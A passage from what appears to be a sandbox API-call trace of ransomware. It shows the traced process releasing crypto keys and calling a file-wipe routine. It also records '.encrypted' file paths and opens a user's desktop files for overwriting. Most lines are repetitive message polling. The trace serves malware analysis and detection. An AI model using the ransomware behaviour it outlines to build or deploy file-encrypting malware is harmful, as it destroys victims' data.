wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.683] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.683] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.683] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.685] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.685] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.685] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0023.685] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.685] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.685] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0023.685] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.685] CryptDestroyKey (hKey=0xe8f4062aa0) returned 1 [0023.685] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.685] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.685] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.685] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.685] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.685] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.685] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.685] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.685] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.685] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0023.685] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.685] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.685] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.685] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.685] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.686] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.686] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.686] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.686] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.686] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.686] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.686] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.686] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.686] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.686] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.686] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.686] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.686] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.686] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.686] CryptReleaseContext (hProv=0xe8f40633c0, dwFlags=0x0) returned 1 [0023.686] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.686] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.686] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.686] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.686] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.686] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.687] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.688] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.690] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.690] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0023.690] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.690] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.690] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.690] CharLowerBuffW (in: lpsz="byte[81653]", cchLength=0xb | out: lpsz="byte[81653]") returned 0xb [0023.691] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.691] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0023.691] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.691] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0023.692] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.692] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.692] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.692] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0023.692] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.692] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.692] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.692] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.692] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.692] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.692] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.692] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.692] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.692] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.692] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.692] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.692] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.692] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.692] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.692] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.692] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0023.692] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.692] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.692] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.692] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0023.692] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.693] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.693] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.693] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.693] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.693] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.693] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0023.693] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.693] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.693] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.693] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.693] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.695] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.695] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.695] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.695] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.695] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.695] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.695] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.695] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.695] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0023.695] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=2213) returned 1 [0023.695] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.695] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0023.695] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0023.695] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x8a5, lpOverlapped=0x0) returned 1 [0023.695] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0023.695] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x8a5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.695] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=2213) returned 1 [0023.695] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\YPMyrW0Yu.encrypted.mp3\r\n", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0023.695] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\YPMyrW0Yu.encrypted.mp3\r\n", cchWideChar=55, lpMultiByteStr=0xe8f404c350, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\YPMyrW0Yu.encrypted.mp3\r\n", lpUsedDefaultChar=0x0) returned 55 [0023.696] WriteFile (in: hFile=0x188, lpBuffer=0xe8f40510e0*, nNumberOfBytesToWrite=0x36, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40510e0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x36, lpOverlapped=0x0) returned 1 [0023.696] CloseHandle (hObject=0x188) returned 1 [0023.698] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.698] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.698] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.698] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.698] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.698] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0023.698] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.699] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0023.700] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0023.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178400, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0023.700] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0023.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178420, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0023.700] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0023.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\Zpipq.avi", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0023.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\Zpipq.avi", cchWideChar=39, lpMultiByteStr=0xe8f41885d0, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\Zpipq.avi", lpUsedDefaultChar=0x0) returned 39 [0023.701] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\Zpipq.avi" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\zpipq.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0023.701] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=39, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 39 [0023.702] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=39, lpWideCharStr=0xe8f4069c50, cchWideChar=39 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\Zpipq.avi") returned 39 [0023.702] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.702] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.703] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.703] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0023.703] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178820, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 